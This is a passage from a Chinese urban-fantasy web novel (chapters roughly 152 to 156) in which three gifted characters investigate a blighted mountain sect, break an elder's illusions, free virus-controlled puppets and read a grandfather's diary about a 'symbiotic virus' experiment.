“林悦,速回基地!”风行者的声音带着喘息,“裁决会的人攻进来了,他们用了……用了气象武器,城市里下起了带病毒的雨!”
林悦心里一沉。夏艳玲之前说“城里会下雨,有坏人搞破坏”,原来是这个意思。她最后看了眼戴眼镜的男人,雷电在他周围形成个结界:“好好活着,等我回来审你。”
她冲出禁闭室,走廊里已经响起警报声。特调科的警员们正举着枪冲向入口,却被门外传来的**声震得东倒西歪。林悦的高跟鞋在地上划出火星,她突然想起费勇临走前的样子,想起他塞给她的暗影能量环。
“放心,”她对自己说,雷电在指尖凝聚成道长长的矛,“我这边也不会拖后腿。”
风行者的超音速气流在走廊尽头炸开,他拎着个昏迷的执法者摔在地上:“正门被堵住了,走地下通道!”
林悦点点头,雷矛在她身后拖出道蓝色的光轨。她突然想起父亲留下的笔记本里有句话:“清理毒瘤总要流血,但只要正义还在,伤口总会愈合。”
现在,她就要亲手剜掉特调科最深的那颗毒瘤。
第152章:终南山的异常
终南山的雾气像化不开的牛奶,黏在睫毛上凉丝丝的。费勇拨开挡路的树枝,暗影能量顺着指尖爬上树干,却没像往常那样引来栖鸟惊飞——整座山安静得可怕,连虫鸣都消失了。
“不对劲。”苏清月突然停下脚步,指尖的绿藤蔫头耷脑地垂着,连最耐旱的爬山藤都失去了生机。她蹲下身,手掌贴在发黑的腐叶上,眉头瞬间拧成疙瘩,“土壤里的生命能量被抽干了,像是被什么东西过滤过。”
夏艳玲抱着布娃娃缩在费勇身后,小脑袋摇得像拨浪鼓。往常走到哪里都能感知到的花草情绪,此刻全变成了灰蒙蒙的一片,连布娃娃眼睛里的红光都黯淡了不少。“它们睡着了,”她声音发颤,小手攥着费勇的衣角,“睡得很沉,像……像化工厂里那些不会动的培养舱。”
费勇的影子突然在地面上掀起涟漪。他激活影界领域,无数细碎的黑影从四面八方涌来,在他脚下汇成张不断扩散的网。“西北方向,三点钟位置。”他盯着雾气深处,影刃在指尖嗡嗡作响,“有东西在动,但没有心跳,没有呼吸——不是活物。”
苏清月立刻从背包里翻出个青铜罗盘,盘面刻着的植物纹路突然亮起绿光,却在指向某个方向时剧烈颤抖,指针像是被无形的力场掰弯了。“是‘禁魔领域’,”她把罗盘举到费勇面前,绿光在盘面上扭曲成怪异的螺旋,“比化工厂的能量屏蔽强十倍,专门针对异能者的生命场。”
夏艳玲突然“呀”了一声,布娃娃的布兜不知何时敞开了,里面的通讯粉正冒着白烟,像被高温炙烤过。苏清月赶紧把粉末倒在手心,金色的颗粒接触到她的绿藤,竟瞬间凝结成冰渣。“干扰强度在增强,”她脸色发白,“再往前走,连通讯粉都要失效了。”
费勇突然拽住两人往树后躲。雾气中传来拖沓的脚步声,三个穿着裁决会制服的人影正歪歪扭扭地走来,皮肤泛着死灰色,眼睛里没有瞳孔,只有浑浊的白。他们的影子在地上拖得老长,却像被钉死的布偶,动作和身体完全不同步。
“是活尸。”苏清月捂住夏艳玲的眼睛,声音压得极低,“被病毒改造过的执法者,没有自主意识,只懂杀戮。但他们的影子……”
费勇已经注意到了。那些影子的手腕处缠着黑色藤蔓,藤蔓的节点上结着小小的肉瘤,正随着影子的动作收缩、膨胀,像在操控提线木偶。“是三长老的手笔,”他指尖的影刃划出道寒光,“用植物异能控制影子,这招够阴的。”
活尸突然停下脚步,齐刷刷地转向树后。他们的喉咙里发出嗬嗬的响声,手臂以违背常理的角度扭曲着,指甲变得又黑又尖。费勇示意苏清月带夏艳玲退后,自己则迎着活尸冲了过去——他需要活捉一个,看看那些藤蔓里藏着什么。
影刃劈向最前面的活尸,却在接触到对方身体时被弹开。费勇愣了一下,这才发现活尸的皮肤下覆盖着层透明的薄膜,像植物的细胞壁。“有意思。”他突然笑了,暗影能量顺着地面钻进活尸的影子里,那些黑色藤蔓立刻剧烈扭动起来。
活尸的动作瞬间变得混乱,像信号中断的机器人。费勇趁机抓住它的手腕,影刃轻轻一划,薄膜裂开道口子,流出的不是血,而是墨绿色的汁液,闻起来有股腐烂的草木味。“果然和植物有关。”他正想再划开一道,活尸的影子突然炸开,黑色藤蔓像受惊的蛇般钻进地里,尸体瞬间瘫软成一滩烂泥。
“不能留活口。”苏清月跑过来,绿藤在她掌心结成盾牌,“这些藤蔓会自毁,看来三长老早就做好了准备。”
夏艳玲突然指向雾气深处:“那边有光。”她的布娃娃不知何时挣脱了怀抱,正朝着某个方向飘去,布兜上的通讯粉留下道金色的轨迹。“妹妹说,跟着光走,就能找到温暖的地方。”
三人顺着轨迹穿过片松林,眼前的景象让他们倒吸一口凉气。原本应该长满奇花异草的山谷,此刻铺着层黑色的苔藓,踩上去像踩在砂纸的尸体上。苔藓缝隙里钻出的藤蔓缠着青禾堂的牌坊,藤蔓上的果实泛着紫黑色的光,和化工厂培养舱里的病毒晶体一模一样。
“牌坊上的字被改了。”费勇指着门楣,原本“青禾堂”三个字被划掉,取而代之的是个歪歪扭扭的符号——和影石阵碎片上的纹路如出一辙。“三长老在搞什么鬼?”
苏清月突然蹲下身,绿藤小心翼翼地触碰那些黑色果实。果实表面的晶体裂开,露出里面蜷缩的胚胎,竟长着半人半植物的模样。“是病毒和植物的共生体,”她的声音带着抑制不住的颤抖,“他在用青禾堂的土地培养新的怪物。”
夏艳
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玲的布娃娃突然发出刺耳的鸣叫声,布兜上的金色粉末全部飞向牌坊后的大殿。费勇的影子顺着粉末的轨迹延伸过去,突然在大殿门口停住——那里的影子密密麻麻地叠在一起,形成堵黑色的墙,墙缝里渗出暗红色的光。
“里面有东西在吸影子。”费勇握紧影刃,暗影容器在怀里烫得像块烙铁,“而且不止一个。”
苏清月从背包里掏出爷爷的日记,扉页的植物图谱突然自动翻开,停在一页画着黑色藤蔓的插图上。旁边的批注写道:“影蚀藤,以暗影能量为食,遇情绪核心则疯长——禁用于活物。”
“他在等我们。”费勇突然明白了,三长老故意用禁魔领域削弱他们,用活尸消耗他们的体力,最后把他们引到这布满影蚀藤的大殿里。“他需要我们的暗影本源和情绪核心,来激活这些藤蔓。”
夏艳玲突然抱住布娃娃往回退,小脸惨白:“娃娃怕,里面有好多哭的影子,它们在喊‘放我出去’。”
费勇的影界领域突然剧烈波动,那些叠在一起的影子里,有个熟悉的轮廓一闪而过——像极了老鬼照片里,影石阵前那个穿白大褂的女人。他心里一动,难道父母当年也来过青禾堂?
“不管里面是什么,我们都得进去。”他拍了拍苏清月的肩膀,又揉了揉夏艳玲的头发,“放心,有我在,谁也别想动你们一根头发。”
苏清月的绿藤突然缠上他的手腕,在他手背上开出朵小小的白花:“这是预警花,遇到影蚀藤会变红。”她的眼神里没有恐惧,只有坚定,“爷爷的日记说,青禾堂的地脉深处有净化池,只要能到达那里,就能毁掉这些怪物。”
夏艳玲把布娃娃塞进费勇手里:“娃娃保护你。”她仰起小脸,眼睛亮得惊人,“妹妹说,温暖的光就在里面,等我们去拿。”
费勇握紧布娃娃,触感柔软得像小时候的枕头。他深吸一口气,影刃在身前划出道弧线,暗影能量像潮水般涌向大殿门口:“走吧,让三长老看看,他的藤蔓能不能困住我们。”
雾气在他们身后重新合拢,掩盖了来时的脚印。黑色藤蔓上的果实轻轻摇晃着,像在为即将到来的盛宴倒计时。而大殿深处,某个被藤蔓缠绕的石台上,半块影石阵核心石正散发着微弱的光,等待着与它的另一半重逢。
第153章:三长老的幻术
青禾堂大殿的门槛上积着层薄灰,费勇的靴子踩上去,扬起的尘埃在光柱里翻滚。本该爬满影蚀藤的梁柱此刻竟缠着常春藤,淡紫色的花串垂下来,落在苏清月的发梢——这是她小时候最喜欢的花,爷爷总说它的藤蔓能缠住流逝的时光。
“清月,发什么呆呢?”
熟悉的声音让苏清月浑身一震。药炉旁站着个穿灰布褂子的老人,正用蒲扇轻轻扇着炉火,药香混着檀香漫过来,和记忆里爷爷书房的味道分毫不差。他转过身时,鬓角的白发、鼻梁上的老花镜,甚至手指关节处那道被药杵砸出的疤痕,都清晰得不像真的。
“爷爷?”苏清月的声音发飘,绿藤不受控制地从指尖涌出来,缠绕着老人的手腕——这是小时候撒娇时的动作,爷爷总会笑着拍拍藤蔓,说她的异能比草药还黏人。
老人果然笑了,皱纹里盛着暖意:“回来就好,锅里炖着你爱喝的莲子羹,放了冰糖,不苦。”他指了指案几,上面摆着个青花瓷碗,热气氤氲中,确实飘着莲子的甜香。
苏清月的眼眶突然发热。灭门那天,她就是因为偷偷溜出去买莲子,才躲过一劫。后来无数个夜晚,她总梦到爷爷站在药炉前,说等她回来就熬羹汤……
“别碰!”
费勇的吼声像块冰砸进暖雾里。他的影子在地面上疯狂扭动,像被投入滚烫的油锅,无数影丝绷得笔直,直指那碗莲子羹——羹汤的倒影里,映出的不是苏清月的脸,而是张布满褶皱的枯脸,正咧着嘴无声地笑。
苏清月猛地回神,绿藤瞬间收紧。被缠住的“爷爷”突然像融化的蜡像般变形,常春藤化作黑色的影蚀藤,药炉里的火苗变成幽绿的鬼火。她踉跄着后退,指尖的预警花已经红得发紫,花瓣边缘在滋滋冒烟。
“反应倒是快。”三长老的声音从药炉后传来,他拄着根雕花拐杖,杖头镶嵌的绿宝石正散发着诡异的光,“可惜啊,有人没你这么幸运。”
费勇心里一沉,猛地转头——夏艳玲不见了。
大殿东侧的月亮门后传来银铃般的笑声,费勇冲过去时,正看到夏艳玲扑向个穿碎花裙的女人。那女人怀里抱着个扎羊角辫的小女孩,眉眼和夏艳玲像一个模子刻出来的,正笑着张开双臂:“玲玲,妈妈带你和妹妹回家好不好?家里有你爱吃的桂花糕。”
“妈妈!”夏艳玲的眼睛亮得惊人,布娃娃从她怀里滑落,掉在地上发出沉闷的响声。她的小手穿过女人的衣角,却像穿过雾气般毫无阻碍,可她像没察觉似的,仍拼命往前凑,“玲玲听话,妈妈不要走……”
女人的笑容突然变得僵硬,眼角渗出黑色的汁液。费勇的影刃劈过去时,她的身体像被打碎的镜子般裂开,露出里面盘根错节的影蚀藤。小女孩的羊角辫里突然钻出无数细小的藤蔓,直刺夏艳玲的眼睛。
“醒过来!”费勇拽住夏艳玲的后领,把她狠狠往后一甩。暗影能量顺着指尖灌进她体内,像冰水浇灭火焰——夏艳玲的瞳孔里,那些粉色的光晕瞬间褪去,露出原本的惊恐。
“妈妈……是假的?”夏艳玲看着地上蠕动的藤蔓,突然放声大哭,“妹妹说那是妈妈,她骗我……”
“不是妹妹骗你。”三长老慢悠悠地走过来,拐杖在地上敲出笃笃的声,像在给这场闹剧伴奏,“是你的心太想相信了。情绪核心就是这点好,越是强烈的执念,越容易被**控。”他晃了晃手里的日记,泛黄的纸页在他掌心簌簌作响,“就像苏小姐,明明知道爷爷已经**,却还是想尝尝那碗莲子羹,对不对?”
苏清月的绿藤突然暴涨,朝着三长老的面门抽过去:“你对他们做了什么?!”
三长老用拐杖轻轻一挑,绿藤就像被无形的墙挡住,竟顺着杖身缠了回去。“别激动,”他笑得像只偷到鸡的狐狸,“我只是让你们看了场好戏。真正精彩的,还在后面呢。”他翻开日记,用指甲划过其中一页,“知道吗?你爷爷当年为了研究情绪核心,可是把亲孙女都当成了实验品。”
苏清月的动作顿住了。
“不信?”三长老念了起来,声音阴阳怪气,“七月初三,清月异能觉醒,生命绿藤中检测到情绪共鸣……可作为影石阵辅助载体,需进一步诱导其与暗影本源结合……”他突然合上日记,盯着费勇,“眼熟吗?这和你父母研究里的‘双钥匙理论’,简直一模一样。”
费勇的影子突然掀起巨浪。他想起150章里那段全息影像,父亲说“暗影封印需要情绪核心作为钥匙”,难道……
“看来你想到了。”三长老的拐杖在地上划出个圈,大殿地面突然裂开,露出底下盘根错节的影蚀藤,像张巨大的嘴,“你父母想让你们合作封印病毒,可他们算错了一步——情绪核心和暗影本源的融合,需要‘献祭’。”
夏艳玲突然尖叫起来,她的脚踝不知何时被藤蔓缠住,那些藤蔓正顺着皮肤往上游走,留下一道道血痕。“放开我!”她的恐惧化作冰锥射向藤蔓,却被藤蔓上的粘液瞬间融化,“费勇哥哥!”
费勇的影刃斩断藤蔓,暗影能量在两人周围织成防护罩。他这才发现,夏艳玲的皮肤下正浮现出淡淡的金色纹路,和影石阵碎片上的图案如出一辙。“你对她做了什么?”
“不是我。”三长老笑得更得意了,“是她自己。情绪核心一旦接触到影蚀藤,就会自动激活。等纹路布满全身,她就会变成影石阵的‘情绪容器’,到时候……”他舔了舔嘴唇,“只要把你这颗暗影本源投进去,影石阵就能彻底启动,生命病毒就能为我所用!”
苏清月突然想起爷爷日记里的插图——影石阵的中央凹槽,刻着两个相拥的人影,一个缠绕藤蔓,一个流淌暗影。当时她以为是象征图案,现在看来……
“你撒谎!”苏清月的绿藤突然朝着药炉底下钻去,那里传来微弱的生命气息,“爷爷绝不会做这种事!”
“哦?”三长老挑眉,“那你说说,为什么他临死前要把半张影石阵图纸藏在你枕头下?为什么他明知三长老是叛
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徒,却迟迟不揭穿?”他突然提高声音,“因为他需要我帮他找到情绪核心!需要我帮他完成这伟大的实验!”
费勇的影界领域突然扩张,无数影丝刺向大殿的每个角落。他捕捉到三个微弱的生命信号,正被困在影蚀藤最密集的地方——是青禾堂的弟子!
“看来你找到他们了。”三长老毫不在意,“这些不识时务的老家伙,总说要守护什么‘生命平衡’,现在还不是成了影蚀藤的养料?”他的拐杖重重一敲,地面的裂缝突然扩大,露出底下挣扎的人影,“你猜,苏小姐的大师兄在不在里面?”
苏清月的脸色瞬间惨白。
“别分心!”费勇突然拽住她,影刃劈向她身后——那里的梁柱上,影蚀藤正结成张巨大的网,悄无声息地罩下来。网眼里闪烁的光,和化工厂培养舱里的病毒晶体一模一样。
夏艳玲突然抓住费勇的手,她的掌心烫得惊人:“娃娃在动。”掉在地上的布娃娃不知何时站了起来,布兜敞开着,里面的通讯粉正化作金色的光粒,飞向大殿西侧的石壁。
光粒在石壁上聚成个模糊的人影,像个蜷缩的婴儿。费勇的暗影容器突然发烫,影石阵碎片在里面剧烈震动,竟透过容器散发出黑色的光晕,与金色光粒交织在一起。
“不可能……”三长老的脸色第一次变了,“没有核心石,你们怎么可能……”
“谁说我们没有?”费勇笑了,暗影能量顺着他的手臂流进夏艳玲体内。她皮肤上的金色纹路突然亮起,与布娃娃投射的光影产生共鸣,“150章里找到的碎片,可不只是钥匙。”
夏艳玲突然想起什么,从怀里掏出块彩色玻璃碎片——是之前塞给费勇,又被他偷偷放回她口袋里的那块。阳光透过碎片照在影蚀藤上,那些藤蔓竟像遇到克星般往后退。
“是‘温暖的光’!”夏艳玲惊喜地喊道,“妹妹说的光,就是这个!”
三长老的脸色彻底黑了,他猛地将拐杖**地里,影蚀藤像潮水般从四面八方涌来:“给我抓住他们!”
费勇将苏清月和夏艳玲护在身后,影刃在他手中化作两把巨大的镰刀:“想动她们,先过我这关。”
苏清月的绿藤突然朝着相反的方向生长,缠绕住被困的弟子们:“我去救人,你们掩护!”
夏艳玲握紧玻璃碎片,金色的光粒在她周身旋转:“玲玲也能帮忙!”
三长老看着混战的三人,突然露出诡异的笑容。他从怀里掏出个小小的陶俑,上面刻着影石阵的纹路,正随着夏艳玲的心跳微微震动。“别急,游戏才刚刚开始。”他悄然后退,隐入影蚀藤的阴影里,“等你们耗尽力量,自然会乖乖走进我的陷阱。”
大殿外的雾气越来越浓,影蚀藤的尖啸声中,布娃娃的铃铛突然响起清脆的响声。费勇砍断袭来的藤蔓时,无意间瞥见娃娃的脸——那双红色的眼睛里,映出个模糊的身影,正站在影石阵的中央,朝他伸出手。
像极了150章影像里,他父亲的动作。
第154章:青禾堂的守护者
三长老的掌声像敲在棺材板上的闷响,在大殿里荡开时,靠墙的药柜突然发出刺耳的碎裂声。檀木柜面像被无形的手撕开,木屑飞溅中,十几个裹着泛黄绷带的身影直挺挺地跳了出来,落地时震得地砖缝里渗出墨绿色的汁液。
“药人……”苏清月的声音发颤,绿藤在她掌心拧成死结。这些人形轮廓她太熟悉了——青禾堂的药人本该是用特殊植物纤维制成的理疗傀儡,可眼前这些,绷带下分明裹着温热的躯体,胸腔里还能看到微弱的起伏。
为首的药人比旁人高出半个头,左手手腕缠着三层加厚的绷带,那是当年为了护她被毒蛇咬伤留下的痕迹。苏清月的瞳孔骤然收缩,绿藤不受控制地缠上对方的脚踝:“大师兄?是你吗?”
药人没有回应,只是缓缓抬起头。绷带缝隙里露出的眼睛浑浊如死水,嘴角咧开个诡异的弧度,涎水混着绿色液体滴落,在地面烧出滋滋作响的小坑。他突然发出野兽般的嘶吼,右臂以九十度角反向弯折,带着腐蚀性的拳头直扑苏清月面门。
“小心!”费勇的影盾及时挡在前面,拳头砸在暗影能量构成的屏障上,绿液四溅中,影盾竟被蚀出几个小洞。他这才看清,药人的指甲缝里嵌着细碎的玻璃碴,混着某种蠕动的黑色菌丝。
“改造得不错吧?”三长老的声音从药人身后传来,他正用拐杖挑起个陶罐,里面的紫色药剂冒着泡泡,“当年这些顽固分子不肯归顺,我只好用‘共生病毒’帮他们‘进化’。你看,现在多听话,只会执行杀戮指令。”
夏艳玲突然捂住耳朵蹲下身,布娃娃在她怀里剧烈震动。药人们的影子里渗出黑色雾气,雾气中裹着无数细碎的哭嚎,像有无数根针在刺她的太阳穴。“他们好疼……”她眼泪直流,恐惧在掌心凝成冰锥,“里面有好多人在喊‘杀了我’……”
费勇的影界领域瞬间扩张,无数影丝刺入药人们的影子。那些黑色雾气遇到暗影能量,竟像活物般挣扎起来。他发现每个药人的影子心脏位置,都嵌着颗米粒大小的黑色晶体,正随着药剂的流动闪烁——和152章看到的病毒果实内核一模一样。
“晶体在控制他们!”费勇大喊着甩出影绳,缠住最靠近夏艳玲的药人,“清月,想办法破坏那些晶体!”
苏清月却在后退,绿藤迟迟不肯发起攻击。她看着被影绳捆住的大师兄,绷带下隐约能看到脖颈处的朱砂痣——那是小时候贪玩被香火烫的,爷爷还笑他是“火神庇佑”。可现在,这颗痣周围的皮肤正泛着诡异的青黑色,像被毒素侵蚀的枯叶。
“动手啊!”费勇一脚踹开扑来的药人,影刃在他手臂上划出道深痕,绿液溅在地上腾起白烟,“再犹豫我们都得交代在这!”
药人的嘶吼突然变调,像是被什么东西卡住喉咙。苏清月猛地抬头,看到大师兄的左手正不受控制地颤抖,绷带下的手指蜷缩着,似乎想抓住什么。她的眼泪突然决堤,绿藤化作无数细针,精准地避开要害,刺向药人们影子里的晶体。
“大师兄,醒醒!”她将治愈能量注入绿藤,指尖因过度用力而发白,“你说过要教我辨识七百二十种毒草的!你说过要看着我成为青禾堂最好的医师的!”
绿藤刺入晶体的瞬间,药人们突然集体抽搐起来。大师兄喉咙里发出嗬嗬的哀鸣,右手的腐蚀性拳头在离苏清月只有寸许的地方停住,绷带下的指甲深深掐进掌心,流出的血珠竟带着微弱的金色——那是青禾堂弟子特有的生命能量。
“有意思。”三长老拄着拐杖绕到药人身后,指尖沾着的紫色药剂滴在大师兄的后颈,“看来‘共生病毒’的压制还不够彻底。不过没关系……”他突然提高声音,“你们猜猜,这些药人里,有多少是当年背叛青禾堂的叛徒?”
苏清月的动作顿住了。
“比如他。”三长老指向个矮胖的药人,“当年可是第一个打开山门,把裁决会的人放进来的。还有她,”又指向个瘦高个,“偷偷给你爷爷的药里加了**,不然以你爷爷的身手,怎么会被我轻易得手?”
药人们的挣扎突然变得剧烈,影子里的晶体闪烁得更加疯狂。夏艳玲尖叫起来,她看到那些黑色雾气里浮现出扭曲的人脸,有的在哭,有的在笑,有的正举着刀刺向自己——那是他们被改造前的记忆碎片。
“别信他的!”费勇的影刃斩断矮胖药人的手臂,绿液溅在他背上,烫得他龇牙咧嘴,“这些混蛋就算是叛徒,现在也是**控的傀儡!我们的账以后再算,现在先解决眼前的麻烦!”
他突然抓住苏清月的手腕,将暗影能量注入她体内。绿藤瞬间染上一层黑色光晕,刺入晶体时发出滋滋的响声,那些晶体竟像冰块般开始融化。“用我的能量中和病毒!”他咬着牙说,“你的治愈力负责唤醒他们
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的意识,我们分工合作!”
苏清月看着费勇背上的灼痕,突然擦干眼泪。绿藤在她掌心结成张巨大的网,将所有药人笼罩其中,治愈能量像春雨般渗透进每个角落。“青禾堂的弟子,无论对错,都不该成为任人摆布的傀儡。”她的声音平静却坚定,“醒不醒得过来,看你们自己的造化了。”
大师兄的绷带突然裂开道口子,露出半张被毒素侵蚀的脸。他的眼睛里闪过一丝清明,嘴唇翕动着,似乎在说什么。苏清月凑近了些,才听清那破碎的音节:“地……下地……”
“地下?”费勇捕捉到关键词,影刃突然劈向大殿中央的地砖,石板应声碎裂,露出底下黑漆漆的通道,“是地下密室?”
三长老的脸色第一次变得难看:“一群废物!”他猛地将整罐紫色药剂泼向药人,“给我杀了他们!”
药人们的嘶吼变得更加疯狂,影子里的晶体彻底爆裂,黑色雾气笼罩住他们的全身。大师兄最后看了苏清月一眼,眼神里竟带着解脱的笑意,然后转身扑向其他药人,用带着腐蚀性的拳头狠狠砸向他们影子里的晶体。
“快走!”他的声音嘶哑得像砂纸摩擦,“别……白费……”
苏清月被费勇拽着冲进通道时,回头看到大师兄的身体正逐渐透明,绿藤缠绕的地方开出细小的白色花朵,像极了青禾堂后山遍野的“忘忧草”。通道口在身后关闭的瞬间,她仿佛听到无数声叹息,像风吹过药田的声音。
夏艳玲抱着布娃娃跟在后面,小脸上还挂着泪珠,却伸手抓住了苏清月的衣角:“他们……会变成星星吗?”
苏清月没有回答,只是握紧了她的手。通道里弥漫着潮湿的泥土味,墙壁上隐约能看到发光的植物孢子,像撒落在黑暗里的萤火虫。费勇的影子在前方探路,突然停住脚步,影刃警惕地指向某个方向。
“怎么了?”苏清月问。
“前面有东西。”费勇的声音压得很低,“不是活物,也不是药人……感觉像……”他顿了顿,“像块巨大的石头,在……呼吸。”
通道尽头的光越来越亮,隐约能听到水滴落在金属上的叮咚声。夏艳玲的布娃娃突然挣脱怀抱,朝着光源飘去,布兜上的通讯粉在空气中画出金色的轨迹,最终停在一扇刻满藤蔓纹路的石门前。
石门中央,嵌着半块黑色的石头,正随着某种神秘的韵律,微微搏动。
第155章:暗影与情绪的初融合
通道里的空气突然变得粘稠,像浸了水的棉絮。三长老的拐杖声从身后追来,笃、笃、笃,敲在石阶上像催命符,每一声都让墙壁上的荧光孢子暗下去几分。费勇刚要去推石门,手腕突然被夏艳玲拽住,小姑娘的指甲掐进他皮肉里,带着冰碴似的凉意。
“他在后面。”夏艳玲的声音发颤,布娃娃的脸正对着通道入口,那双纽扣眼睛里映出个扭曲的黑影——三长老的影子在墙上拉长变形,像条吐着信子的毒蛇。
费勇的影界领域瞬间铺开,却在触及那黑影时猛地一缩。三长老手里不知何时多了个青铜小鼎,鼎里飘出的黑色烟雾遇到暗影能量,竟像强酸般腐蚀出滋滋的声响。“共生病毒提纯的‘蚀影散’,滋味如何?”三长老的笑声带着回音,“费勇小友,你以为破坏了药人就赢了?太天真了。”
苏清月突然捂住小腹蹲下身,绿藤蔫蔫地垂在地上。刚才为了唤醒药人,她透支了太多治愈能量,此刻脸色白得像宣纸,唇上的血色都褪尽了。“清月!”费勇刚要回头,就听见夏艳玲发出一声短促的尖叫——三长老的拐杖带着紫色药剂,像**般射向她后心。
“小心!”费勇想也没想就转身将夏艳玲拽到身后,影子在他后背炸开成盾。药剂砸在影盾上的瞬间,紫雾腾起半尺高,暗影能量构成的屏障竟像融化的巧克力般凹陷下去,刺鼻的腥甜味里,他闻到了152章那病毒果实的腐烂气息。
就在这时,夏艳玲突然往前一扑,小胳膊死死抱住费勇的腰。她的恐惧像潮水般涌出来,在两人周围凝成半透明的冰墙,冰碴子簌簌往下掉,撞上影盾的瞬间竟发出清脆的叮当声。更诡异的是,那些黑色影丝顺着冰墙往上爬,像墨滴入水中般晕染开来,在冰面上织成张细密的网。
“嗯?”三长老的拐杖顿在半空,眼睛瞪得像铜铃,“这是……”
费勇也懵了。他能感觉到暗影能量正顺着接触点往夏艳玲身上流,而她的情绪能量像藤蔓缠树般裹住他的影子,冰墙里的黑色纹路越来越亮,竟在表面映出他和夏艳玲交叠的剪影。当紫雾再次袭来时,冰墙与影盾同时发力,那些腐蚀性的雾气撞上光影交织的屏障,竟像雪球般融化成无害的水珠。
“不可能!”三长老的声音变了调,他又掏出个陶罐,里面的绿色药剂冒着泡,“没有核心石引导,情绪核心怎么可能和暗影本源共鸣?!”
“共鸣?”费勇低头看向怀里的夏艳玲,小姑娘的脸埋在他胸口,布娃娃被挤得变了形,可那双纽扣眼睛却亮得惊人。他突然想起150章的全息影像,父亲提到“双钥匙需共振”时,背景里闪过的图案——正是这样光影缠绕的纹路。
苏清月不知何时已扶着墙壁站起来,绿藤上开出朵白色小花,花瓣上的露珠正顺着藤蔓滚向冰墙。“是生命能量!”她指着露珠滴落的地方,那里的光影屏障突然泛起金色涟漪,“夏艳玲的情绪能量、费勇的暗影能量,还有我的治愈能量……三者碰到一起会相互增幅!”
三长老的脸色彻底黑了,他将陶罐里的药剂全泼向地面,绿色液体所过之处,通道石壁上突然钻出无数黑色触须,像被惊动的蛇群般扑向三人。“给我碎!”他嘶吼着用拐杖敲击地面,触须顶端炸开成伞状,撒下密密麻麻的黑色晶体——和药人影子里的控制晶如出一辙。
费勇的影刃瞬间出鞘,斩断最前面的触须,却发现断口处涌出更多晶体。夏艳玲的冰墙开始震动,显然快要撑不住了,她的眼泪掉在冰面上,竟化作细小的金色光粒,顺着纹路流进费勇的影子里。
“试试主动融合!”苏清月突然将绿藤缠上两人的手腕,治愈能量像条暖流,将暗影与情绪能量串在一起,“想象你们在拉同一根绳子!”
费勇深吸一口气,尝试着引导暗影能量流向夏艳玲。起初像推一块顽固的石头,可当他想起154章她哭着说“他们好疼”的样子,想起她把布娃娃塞给他当护身符的样子,那股能量突然变得温顺起来。夏艳玲似乎也感受到了什么,冰墙不再是纯粹的防御,而是开始顺着影丝的轨迹往前推进,将黑色触须冻成冰雕。
“就是这样!”苏清月的绿藤突然暴涨,将冻住的触须连根拔起,“往石门那边冲!”
光影屏障像辆小坦克,顶着不断袭来的晶体往前挪动。费勇能感觉到夏艳玲的情绪在变化,恐惧里混进了兴奋
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,冰墙的颜色从透明变成淡金,而他的影子染上了一层暖光,不再是纯粹的冰冷。当屏障撞上石门的瞬间,中央那块搏动的黑石突然亮起,与屏障上的纹路完美重合。
“不——!”三长老的怒吼被一声巨响盖过,石门缓缓向内打开,一股混合着草木清香与金属冷冽的气息涌出来。光影屏障在接触到石门内空气的瞬间自动消散,费勇低头看向自己的手,影子边缘泛着淡淡的金色,像镶了圈阳光。
夏艳玲的布娃娃突然飞向石门内,落在一张石桌上。桌上摊着本泛黄的日记,旁边放着个琉璃瓶,里面的绿色液体正随着黑石的搏动闪烁。苏清月冲过去拿起日记,刚翻开第一页就浑身一震,眼泪啪嗒掉在纸页上:“是爷爷的笔记……他成功了……”
三长老被挡在石门之外,脸色铁青地看着那扇缓缓关闭的门,拐杖在地上砸出个小坑:“你们以为躲得掉吗?影石阵的封印需要三块核心石才能完成,你们现在拿到的,不过是块引信!”
石门彻底合上的前一秒,费勇看到三长老从怀里掏出个通讯器,屏幕上闪过“审判长”三个字。他低头看向夏艳玲,小姑娘正用袖子擦脸,布娃娃被她抱在怀里,刚才泛金的影子已经恢复正常,却在接触到黑**芒时,又悄悄爬上一丝暖意。
“刚才……”夏艳玲小声问,“我们是不是像在玩跳房子?手拉手才能过去?”
费勇忍不住笑了,揉了揉她的头发:“差不多。”他看向苏清月,她正指着日记上的插图——那是个由暗影、绿光、金光构成的三角阵,顶点处标注着“701研究所”,“接下来要去这?”
苏清月点头,眼神里带着前所未有的坚定:“爷爷说,剩下的核心石藏在父母当年工作的地方。而且……”她顿了顿,看向那块黑石,“他还记载了‘共生病毒’的解药配方,需要影石阵的能量才能激活。”
石门后的密室突然亮起柔和的光,四周的墙壁上刻满了星图般的纹路,正随着黑石的搏动流转。费勇的影子在地上不安地扭动,似乎在预警什么。他走到石桌前,拿起那个琉璃瓶,瓶身倒映出他和夏艳玲交叠的影子,边缘那圈淡金依然未散。
第156章:爷爷的日记真相
密室的石壁突然发出嗡鸣,星图纹路里流淌的光芒骤然变亮,像有无数条金蛇在游走。苏清月的手指划过日记泛黄的纸页,指尖抖得几乎捏不住那支竹制书签——那是爷爷亲手给她做的,竹纹里还能闻到淡淡的檀香,此刻却像烙铁般烫手。
“这里……”她突然用书签戳向某页,声音发飘得像风中的蛛丝,“十年前七月初七,爷爷写‘地脉异动,古病毒苏醒’……那天正好是‘觉醒潮’爆发的日子!”
费勇凑过去看,日记上画着幅潦草的剖面图:青禾堂地下三十丈处,有个类似蜂巢的六边形结构,里面布满了螺旋状的纹路,标注着“沉睡千年·生命本源”。旁边用红笔写着行小字:“与701研究所样本同源,需慎之又慎。”
“701研究所?”费勇的心猛地一沉,150章的全息影像里,父母正是在那里研究影石阵,“你爷爷怎么会和那里有关联?”
苏清月没回答,只是机械地往后翻页。日记里的字迹越来越潦草,有的地方还沾着暗红色的斑点,像干涸的血迹。夏艳玲抱着布娃娃凑过来,突然指着其中一页的插画——那是个被藤蔓缠绕的人影,胸口插着根拐杖,拐杖头的绿宝石正往他心脏里注入黑色液体。
“是三长老!”夏艳玲的声音带着哭腔,布娃娃的纽扣眼睛突然转向石门方向,“他……他在外面笑……”
果然,石门另一侧传来三长老的笑声,像破风箱似的嘶啦作响:“清月侄女,看到第几页了?是不是到‘共生计划’那部分了?你爷爷当年可是说,这病毒是‘进化的福音’呢!”
苏清月的手指猛地顿在“共生计划”四个字上。下面的文字让她浑身发冷:“病毒可激活隐性基因,使普通人觉醒异能,但需以情绪为引。实验体A-01(清月)体内绿藤对病毒有吸附性,或可作为容器……”
“容器?”费勇一把抢过日记,指尖因用力而泛白,“他把你当实验品?”
“不是的!”苏清月突然拔高声音,眼泪却汹涌而出,“爷爷后来划掉了!你看这里!”她指着那行被墨团覆盖的字,下面有行新写的批注:“吾辈医者,救死扶伤为本,绝不可用亲人试险。”
